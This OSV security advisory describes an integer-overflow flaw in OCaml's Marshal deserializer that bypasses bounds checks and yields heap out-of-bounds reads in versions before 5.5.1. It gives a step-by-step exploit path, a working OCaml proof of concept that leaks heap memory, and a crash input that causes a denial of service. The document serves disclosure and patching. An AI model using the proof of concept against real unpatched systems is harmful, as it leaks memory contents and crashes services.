OSEC-2026-18

See a problem?
Import Source
https://github.com/ocaml/security-advisories/blob/generated-osv/2026/OSEC-2026-18.json
JSON Data
https://api.osv.dev/v1/vulns/OSEC-2026-18
Aliases
Related
Published
2026-09-10T10:00:00Z
Modified
2026-09-10T10:40:29Z
Severity
  • 6.8 (Medium) CVSS_V3 - CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N CVSS Calculator
Summary
Marshal integer overflow leads to out-of-heap read
Details

An integer overflow in the length-validation logic of OCaml's Marshal deserializer allows a crafted serialized object to bypass all bounds checks added by the CVE-2026-28364 fix, producing heap out-of-bounds reads from Marshal.from_bytes / Marshal.from_string (and the C API caml_input_value_from_block).

Root cause

runtime/intern.c validates declared data length against the input buffer with unsigned 64-bit addition that can wrap:

/* caml_input_val_from_bytes, intern.c:1038 */
if (ofs + h.header_len + h.data_len > caml_string_length(str))
  caml_failwith("input_val_from_string: bad length");

h.data_len is fully attacker-controlled (8-byte field read straight from the stream for Intext_magic_number_big). With data_len >= 2^64 - (ofs + h.header_len), the sum wraps to a small value and the check passes.

The CVE-2026-28364 fix introduced:

/* intern.c:1043 (added by the fix) */
s->intern_src_end = s->intern_src + h.data_len;   /* wraps to a pointer BEFORE the buffer */

intern_src_end wraps to a location before intern_src, so every intern_check_read() bound added by the fix (len > end - src with a negative diff promoted to a huge uintnat) evaluates false for any realistic length. The parser (intern_rec) then honors attacker-controlled read lengths (readblock up to Max_wosize bytes) against memory far beyond the input buffer.

The OCaml-side wrapper validation in stdlib/marshal.ml is bypassed by the same wrap, via caml_marshal_data_size (intern.c:1116-1150):

return Val_long((header_len - 16) + data_len);   /* wraps to 0 / negative */

Marshal.from_bytes (marshal.ml:55-62) calls data_size_unsafe first, gets a wrapped len (0 or negative), and its re-check ofs > Bytes.length buff - (header_size + len) passes.

The same unchecked wrap exists in caml_input_value_from_buffer (intern.c:1080), used by the public C API caml_input_value_from_block and caml_input_value_from_malloc - these have no OCaml-side validation at all.

Exploit path

  1. Craft 32-byte header: Intext_magic_number_big + 4 padding bytes + data_len = 2^64 - 16 + num_objects = 0 + whsize = 0.
  2. Append a valid object code byte stream (e.g., a "small string" code 0x3F = 31 bytes, or CODE_STRING32 with an arbitrary length).
  3. Call Marshal.from_bytes buf 0 (or Marshal.from_string).
  4. data_size_unsafe returns 0; OCaml-side check passes.
  5. C-side check 0 + 32 + (2^64-16) = 16 > len passes (wrapped).
  6. intern_src_end wraps to buf + 16; all intern_check_read pass.
  7. intern_rec executes readblock(s, dest, len) with attacker-chosen len, memcpy-ing heap memory past the buffer end into the returned string (info leak), or a huge len (SIGBUS/SIGSEGV, DoS).

Proof of concept

Tested on: macOS arm64, OCaml 5.5.0 (Homebrew), ocamlopt.

1. Heap information disclosure (clean, no crash)

let () =
  let buf = Bytes.create 40 in
  Bytes.set buf 0 (Char.chr 0x84); Bytes.set buf 1 (Char.chr 0x95);
  Bytes.set buf 2 (Char.chr 0xa6); Bytes.set buf 3 (Char.chr 0xbf);
  for i = 4 to 7 do Bytes.set buf i '\000' done;
  for i = 8 to 15 do Bytes.set buf i '\xff' done;
  Bytes.set buf 15 (Char.chr 0xf0);          (* data_len = 2^64 - 16 *)
  for i = 16 to 31 do Bytes.set buf i '\000' done;  (* num_objects = whsize = 0 *)
  Bytes.set buf 32 (Char.chr 0x3f);          (* small string, len 31 *)
  for i = 33 to 39 do Bytes.set buf i 'A' done;     (* only 7 real bytes follow *)
  let s : string = Marshal.from_bytes buf 0 in
  Printf.printf "len=%d content=%S\n" (String.length s) s

Output (24 bytes past the 40-byte buffer leaked into the returned string):

len=31 content="AAAAAAA\000\000\000\000\000\000\007\000\b\000\000\000\000\000\000\152\018\001\003\001\000\000\000"

2. Denial of service (crash)

Same header; stream byte 32 = 0x0A (CODE_STRING32), big-endian 0x40000000 (1 GB) length, 37-byte buffer:

$ ./crash; echo "exit=$?"
exit=138        (128 + SIGBUS)

Timeline

  • 2026-08-15: report to security@ocaml.org
  • 2026-08-25: patch developed
  • 2026-09-03: patch merged into trunk, 5.5, and 4.14 branches
  • 2026-09-05: release of OCaml 5.5.1
  • 2026-09-10: advisory published
Database specific
{
    "cwe": [
        "CWE-190",
        "CWE-125"
    ],
    "human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-18.md",
    "osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-18.json"
}
References
Credits
    • Akshay M Singh - REPORTER
    • Xavier Leroy - REMEDIATION_DEVELOPER
    • Nicolás Ojeda Bär - REMEDIATION_REVIEWER
    • Antonin Décimo - REMEDIATION_REVIEWER
    • Hannes Mehnert - COORDINATOR

Affected packages

opam / ocaml

Package

Name
ocaml
Purl
pkg:opam/ocaml

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
5.5.1
Type
GIT
Repo
https://github.com/ocaml/ocaml
Events
Introduced
0 Unknown introduced commit / All previous commits are affected
Fixed
Type
GIT
Repo
https://github.com/ocaml/ocaml
Events
Introduced
0 Unknown introduced commit / All previous commits are affected
Fixed
Type
GIT
Repo
https://github.com/ocaml/ocaml
Events
Introduced
0 Unknown introduced commit / All previous commits are affected
Fixed

Affected versions

3.*
3.07
3.07+1
3.07+2
3.08.0
3.08.1
3.08.2
3.08.3
3.08.4
3.09.0
3.09.1
3.09.2
3.09.3
3.10.0
3.10.1
3.10.2
3.11.0
3.11.1
3.11.2
3.12.0
3.12.1
4.*
4.00.0
4.00.1
4.01.0
4.02.0
4.02.1
4.02.2
4.02.3
4.02.4
4.03.0
4.03.1
4.04.0
4.04.1
4.04.2
4.04.3
4.05.0
4.05.1
4.06.0
4.06.1
4.06.2
4.07.0
4.07.1
4.07.2
4.08.0
4.08.1
4.08.2
4.09.0
4.09.1
4.09.2
4.10.0
4.10.1
4.10.2
4.10.3
4.11.0
4.11.1
4.11.2
4.11.3
4.12.0
4.12.1
4.12.2
4.13.0
4.13.1
4.13.2
4.14.0
4.14.0-alpha1
4.14.0-alpha2
4.14.0-beta1
4.14.0-rc1
4.14.0-rc2
4.14.1
4.14.1-rc1
4.14.2
4.14.2-rc1
4.14.3
4.14.4
4.14.5
5.*
5.0.0
5.0.1
5.1.0
5.1.1
5.1.2
5.2.0
5.2.1
5.2.2
5.3.0
5.3.1
5.4.0
5.4.1
5.4.2
5.5.0
5.5.0-alpha1
5.5.0-alpha2
5.5.0-alpha3
5.5.0-beta1
5.5.0-rc1
Other
flambda_fork_point

Ecosystem specific

{
    "opam_constraint": "ocaml {< \"5.5.1\"}"
}

Database specific

source
"https://github.com/ocaml/security-advisories/blob/generated-osv/2026/OSEC-2026-18.json"